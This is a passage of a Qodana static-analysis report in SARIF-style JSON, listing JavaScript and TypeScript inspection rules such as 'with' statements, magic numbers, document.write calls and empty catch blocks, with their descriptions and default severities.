                  \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"WithStatementJS\",\n                \"shortDescription\": {\n                  \"text\": \"'with' statement\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'with' statements. Such statements result in potentially confusing implicit bindings, and may behave strangely in setting new variables.\",\n                  \"markdown\": \"Reports a `with` statements. Such statements result in potentially confusing implicit bindings, and may behave strangely in setting new variables.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"WithStatementJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially undesirable code constructs\",\n                      \"index\": 11,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSConstantReassignment\",\n                \"shortDescription\": {\n                  \"text\": \"Attempt to assign to const or readonly variable\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports reassigning a value to a constant or a readonly variable.\",\n                  \"markdown\": \"Reports reassigning a value to a constant or a readonly variable.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSConstantReassignment\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Validity issues\",\n                      \"index\": 23,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TypeScriptCheckImport\",\n                \"shortDescription\": {\n                  \"text\": \"Unresolved imported name\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unresolved name or binding in an 'import' declaration in TypeScript code.\",\n                  \"markdown\": \"Reports an unresolved name or binding in an `import` declaration in TypeScript code.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"TypeScriptCheckImport\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/TypeScript\",\n                      \"index\": 22,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"MagicNumberJS\",\n                \"shortDescription\": {\n                  \"text\": \"Magic number\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a \\\"magic number\\\" that is a numeric literal used without being named by a constant declaration. Magic numbers can result in code whose intention is unclear, and may result in errors if a magic number is changed in one code location but remains unchanged in another. The numbers 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 100, 1000, 0.0 and 1.0 are ignored.\",\n                  \"markdown\": \"Reports a \\\"magic number\\\" that is a numeric literal used without being named by a constant declaration. Magic numbers can result in code whose intention is unclear, and may result in errors if a magic number is changed in one code location but remains unchanged in another. The numbers 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 100, 1000, 0.0 and 1.0 are ignored.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"MagicNumberJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially confusing code constructs\",\n                      \"index\": 24,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"FunctionNamingConventionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Function naming convention\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a function whose name is too short, too long, or does not follow the specified regular expression pattern. Use the fields provided below to specify minimum length, maximum length, and a regular expression for function names. Use the standard 'java.util.regex' format for regular expressions.\",\n                  \"markdown\": \"Reports a function whose name is too short, too long, or does not follow the specified regular expression pattern.\\n\\n\\nUse the fields provided below to specify minimum length, maximum length, and a regular expression\\nfor function names. Use the standard `java.util.regex` format for regular expressions.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"FunctionNamingConventionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Naming conventions\",\n                      \"index\": 46,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSXSyntaxUsed\",\n                \"shortDescription\": {\n                  \"text\": \"JSX syntax used\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a usage of a JSX tag in JavaScript code.\",\n                  \"markdown\": \"Reports a usage of a JSX tag in JavaScript code.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSXSyntaxUsed\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSJoinVariableDeclarationAndAssignment\",\n                \"shortDescription\": {\n                  \"text\": \"Variable declaration can be merged with the first assignment to the variable\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a variable that is declared without an initializer and is used much further in the code or in a single nested scope. Suggests moving the variable closer to its usages and joining it with the initializer expression.\",\n                  \"markdown\": \"Reports a variable that is declared without an initializer and is used much further in the code or in a single nested scope. Suggests moving the variable closer to its usages and joining it with the initializer expression.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSJoinVariableDeclarationAndAssignment\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSRedundantSwitchStatement\",\n                \"shortDescription\": {\n                  \"text\": \"'switch' statement is redundant and can be replaced\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'switch' statement with an empty body, or with only one 'case' branch, or with a 'default' branch only.\",\n                  \"markdown\": \"Reports a `switch` statement with an empty body, or with only one `case` branch, or with a `default` branch only.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSRedundantSwitchStatement\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Switch statement issues\",\n                      \"index\": 47,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TypeScriptLibrary\",\n                \"shortDescription\": {\n                  \"text\": \"Missing global library\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a TypeScript library file that is required for a symbol but is not listed under the 'lib' compiler option in 'tsconfig.json'.\",\n                  \"markdown\": \"Reports a TypeScript library file that is required for a symbol but is not listed under the `lib` compiler option in `tsconfig.json`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"TypeScriptLibrary\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/TypeScript\",\n                      \"index\": 22,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TypeScriptMissingAugmentationImport\",\n                \"shortDescription\": {\n                  \"text\": \"Missing augmentation import\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a usage from augmentation module without an explicit import.\",\n                  \"markdown\": \"Reports a usage from [augmentation module](https://www.typescriptlang.org/docs/handbook/declaration-merging.html#module-augmentation) without an explicit import.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"TypeScriptMissingAugmentationImport\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/TypeScript\",\n                      \"index\": 22,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSUnusedGlobalSymbols\",\n                \"shortDescription\": {\n                  \"text\": \"Unused global symbol\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unused globally accessible public function, variable, class, or property.\",\n                  \"markdown\": \"Reports an unused globally accessible public function, variable, class, or property.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSUnusedGlobalSymbols\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Unused symbols\",\n                      \"index\": 15,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ES6ConvertModuleExportToExport\",\n                \"shortDescription\": {\n                  \"text\": \"'module.exports' is used instead of 'export'\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'module.export' statement. Suggests replacing it with an 'export' or 'export default' statement. Please note that the quick-fix for converting 'module.export' into 'export' is not available for 'module.export' inside functions or statements because 'export' statements can only be at the top level of a module.\",\n                  \"markdown\": \"Reports a `module.export` statement. Suggests replacing it with an `export` or `export default` statement.   \\n\\nPlease note that the quick-fix for converting `module.export` into `export` is not available for `module.export` inside functions or statements because `export` statements can only be at the top level of a module.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ES6ConvertModuleExportToExport\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/ES2015 migration aids\",\n                      \"index\": 18,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"DocumentWriteJS\",\n                \"shortDescription\": {\n                  \"text\": \"Call to 'document.write()'\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a method call to 'document.write()' or 'document.writeln()'. Most usages of such calls are performed better with explicit DOM calls, such as 'getElementByID()' and 'createElement()'. Additionally, the 'write()' and 'writeln()' calls will not work with XML DOMs, including DOMs for XHTML if viewed as XML. This can result in difficulty to point out bugs.\",\n                  \"markdown\": \"Reports a method call to `document.write()` or `document.writeln()`. Most usages of such calls are performed better with explicit DOM calls, such as `getElementByID()` and `createElement()`. Additionally, the `write()` and `writeln()` calls will not work with XML DOMs, including DOMs for XHTML if viewed as XML. This can result in difficulty to point out bugs.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"DocumentWriteJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/DOM issues\",\n                      \"index\": 48,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"AnonymousFunctionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Anonymous function\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an anonymous function. An explicit name of a function expression may be helpful for debugging. Ignores function expressions without names if they have a 'name' property specified in the ECMAScript 6 standard. For example, 'var bar = function() {};' is not reported.\",\n                  \"markdown\": \"Reports an anonymous function. An explicit name of a function expression may be helpful for debugging. Ignores function expressions without names if they have a `name` property specified in the ECMAScript 6 standard. For example, `var bar = function() {};` is not reported.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"AnonymousFunctionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially undesirable code constructs\",\n                      \"index\": 11,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"BlockStatementJS\",\n                \"shortDescription\": {\n                  \"text\": \"Unnecessary block statement\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a block statement that is not used as the body of 'if', 'for', 'while', 'do', 'with', or 'try' statements, or as the body of a function declaration. Starting from ECMAScript 6, JavaScript blocks introduce new scopes for 'let' and 'const' variables, but still free-standing block statements may be confusing and result in subtle bugs when used with 'var' variables.\",\n                  \"markdown\": \"Reports a block statement that is not used as the body of `if`, `for`, `while`, `do`, `with`, or `try` statements, or as the body of a function declaration. Starting from ECMAScript 6, JavaScript blocks introduce new scopes for `let` and `const` variables, but still free-standing block statements may be confusing and result in subtle bugs when used with `var` variables.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"BlockStatementJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially confusing code constructs\",\n                      \"index\": 24,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ObjectAllocationIgnoredJS\",\n                \"shortDescription\": {\n                  \"text\": \"Result of object allocation ignored\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports object allocation where the result of the allocated object is ignored, for example, 'new Error();' as a statement, without any assignment. Such allocation expressions may indicate an odd object initialization strategy.\",\n                  \"markdown\": \"Reports object allocation where the result of the allocated object is ignored, for example, `new Error();` as a statement, without any assignment. Such allocation expressions may indicate an odd object initialization strategy.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ObjectAllocationIgnored\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Probable bugs\",\n                      \"index\": 13,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"InfiniteRecursionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Infinite recursion\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a function which must either recurse infinitely or throw an exception. Such functions may not return normally.\",\n                  \"markdown\": \"Reports a function which must either recurse infinitely or throw an exception. Such functions may not return normally.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"InfiniteRecursionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Probable bugs\",\n                      \"index\": 13,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"NestedConditionalExpressionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Nested conditional expression\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a ternary conditional expression within another ternary condition. Such nested conditionals may be extremely confusing, and best replaced by more explicit conditional logic.\",\n                  \"markdown\": \"Reports a ternary conditional expression within another ternary condition. Such nested conditionals may be extremely confusing, and best replaced by more explicit conditional logic.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"NestedConditionalExpressionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially confusing code constructs\",\n                      \"index\": 24,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSTypeOfValues\",\n                \"shortDescription\": {\n                  \"text\": \"'typeof' comparison with non-standard value\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a comparison of a 'typeof' expression with a literal string which is not one of the standard types: 'undefined', 'object', 'boolean', 'number', 'string', 'function', or 'symbol'. Such comparisons always return 'false'.\",\n                  \"markdown\": \"Reports a comparison of a `typeof` expression with a literal string which is not one of the standard types: `undefined`, `object`, `boolean`, `number`, `string`, `function`, or `symbol`. Such comparisons always return `false`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSTypeOfValues\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Probable bugs\",\n                      \"index\": 13,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"IncompatibleMaskJS\",\n                \"shortDescription\": {\n                  \"text\": \"Incompatible bitwise mask operation\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a bitwise mask expression which for sure evaluates to 'true' or 'false'. Expressions are of the form '(var & constant1) == constant2' or '(var | constant1) == constant2', where 'constant1' and 'constant2' are incompatible bitmask constants. Example: '// Incompatible mask: as the last byte in mask is zero,\\n// something like 0x1200 would be possible, but not 0x1234\\nif ((mask & 0xFF00) == 0x1234) {...}'\",\n                  \"markdown\": \"Reports a bitwise mask expression which for sure evaluates to `true` or `false`. Expressions are of the form `(var & constant1) == constant2` or `(var | constant1) == constant2`, where `constant1` and `constant2` are incompatible bitmask constants.\\n\\nExample:\\n\\n\\n    // Incompatible mask: as the last byte in mask is zero,\\n    // something like 0x1200 would be possible, but not 0x1234\\n    if ((mask & 0xFF00) == 0x1234) {...}\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"IncompatibleBitwiseMaskOperation\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Bitwise operation issues\",\n                      \"index\": 17,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TextLabelInSwitchStatementJS\",\n                \"shortDescription\": {\n                  \"text\": \"Text label in 'switch' statement\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a labeled statement inside a 'switch' statement, which often results from a typo. Example: 'switch(x)\\n    {\\n        case 1:\\n        case2:   //typo!\\n        case 3:\\n            break;\\n    }'\",\n                  \"markdown\": \"Reports a labeled statement inside a `switch` statement, which often results from a typo.\\n\\nExample:\\n\\n\\n        switch(x)\\n        {\\n            case 1:\\n            case2:   //typo!\\n            case 3:\\n                break;\\n        }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"TextLabelInSwitchStatementJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Switch statement issues\",\n                      \"index\": 47,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ES6PossiblyAsyncFunction\",\n                \"shortDescription\": {\n                  \"text\": \"'await' in non-async function\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a usage of 'await' in a function that was possibly intended to be async but is actually missing the 'async' modifier. Although 'await' can be used as an identifier, it is likely that it was intended to be used as an operator, so the containing function should be made 'async'.\",\n                  \"markdown\": \"Reports a usage of `await` in a function that was possibly intended to be async but is actually missing the `async` modifier. Although `await` can be used as an identifier, it is likely that it was intended to be used as an operator, so the containing function should be made `async`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ES6PossiblyAsyncFunction\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Async code and promises\",\n                      \"index\": 49,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"EmptyCatchBlockJS\",\n                \"shortDescription\": {\n                  \"text\": \"Empty 'catch' block\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an empty 'catch' block. This indicates that errors are simply ignored instead of handling them. Any comment in a 'catch' block mutes the inspection.\",\n                  \"markdown\": \"Reports an empty `catch` block. This indicates that errors are simply ignored instead of handling them.   \\n\\nAny comment in a `catch` block mutes the inspection.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EmptyCatchBlockJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Try statement issues\",\n                      \"index\": 27,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSHint\",\n                \"shortDescription\": {\n                  \"text\": \"JSHint\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a problem detected by the JSHint linter.\",\n                  \"markdown\": \"Reports a problem detected by the [JSHint](https://jshint.com/) linter.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSHint\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Code quality tools\",\n                      \"index\": 51,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"FlowJSFlagCommentPlacement\",\n                \"shortDescription\": {\n                  \"text\": \"Misplaced @flow flag\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a '@flow' flag comment that is not located at the top of a file.\",\n                  \"markdown\": \"Reports a `@flow` flag comment that is not located at the top of a file.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"FlowJSFlagCommentPlacement\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Flow type checker\",\n                      \"index\": 12,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"Eslint\",\n                \"shortDescription\": {\n                  \"text\": \"ESLint\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a discrepancy detected by the ESLint linter. The highlighting is based on the rule severity specified in the ESLint configuration file for each individual rule. Clear the 'Use rule severity from the configuration file' checkbox to use the severity configured in this inspection for all ESLint rules.\",\n                  \"markdown\": \"Reports a discrepancy detected by the [ESLint](https://eslint.org) linter.   \\n\\nThe highlighting is based on the rule severity specified in the [ESLint configuration file](https://eslint.org/docs/user-guide/configuring) for each individual rule.   \\n\\nClear the 'Use rule severity from the configuration file' checkbox to use the severity configured in this inspection for all ESLint rules.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"Eslint\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Code quality tools\",\n                      \"index\": 51,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSDuplicatedDeclaration\",\n                \"shortDescription\": {\n                  \"text\": \"Duplicate declaration\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports multiple declarations in a scope.\",\n                  \"markdown\": \"Reports multiple declarations in a scope.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSDuplicatedDeclaration\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSEqualityComparisonWithCoercion.TS\",\n                \"shortDescription\": {\n                  \"text\": \"Equality operator may cause type coercion\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a usage of equality operators may cause unexpected type coercions. Suggests replacing '==' or '!=' equality operators with type-safe '===' or '!==' operators. Depending on the option selected, one of the following cases will be reported: All usages of '==' and '!=' operators. All usages except comparison with null. Some code styles allow using 'x == null' as a replacement for 'x === null || x === undefined'. Only suspicious expressions, such as: '==' or '!=' comparisons with '0', '''', 'null', 'true', 'false', or 'undefined'.\",\n                  \"markdown\": \"Reports a usage of equality operators may cause unexpected type coercions. Suggests replacing `==` or `!=` equality operators with type-safe `===` or `!==` operators.\\n\\nDepending on the option selected, one of the following cases will be reported:\\n\\n* All usages of `==` and `!=` operators.\\n* All usages except comparison with null. Some code styles allow using `x == null` as a replacement for `x === null || x === undefined`.\\n* Only suspicious expressions, such as: `==` or `!=` comparisons with 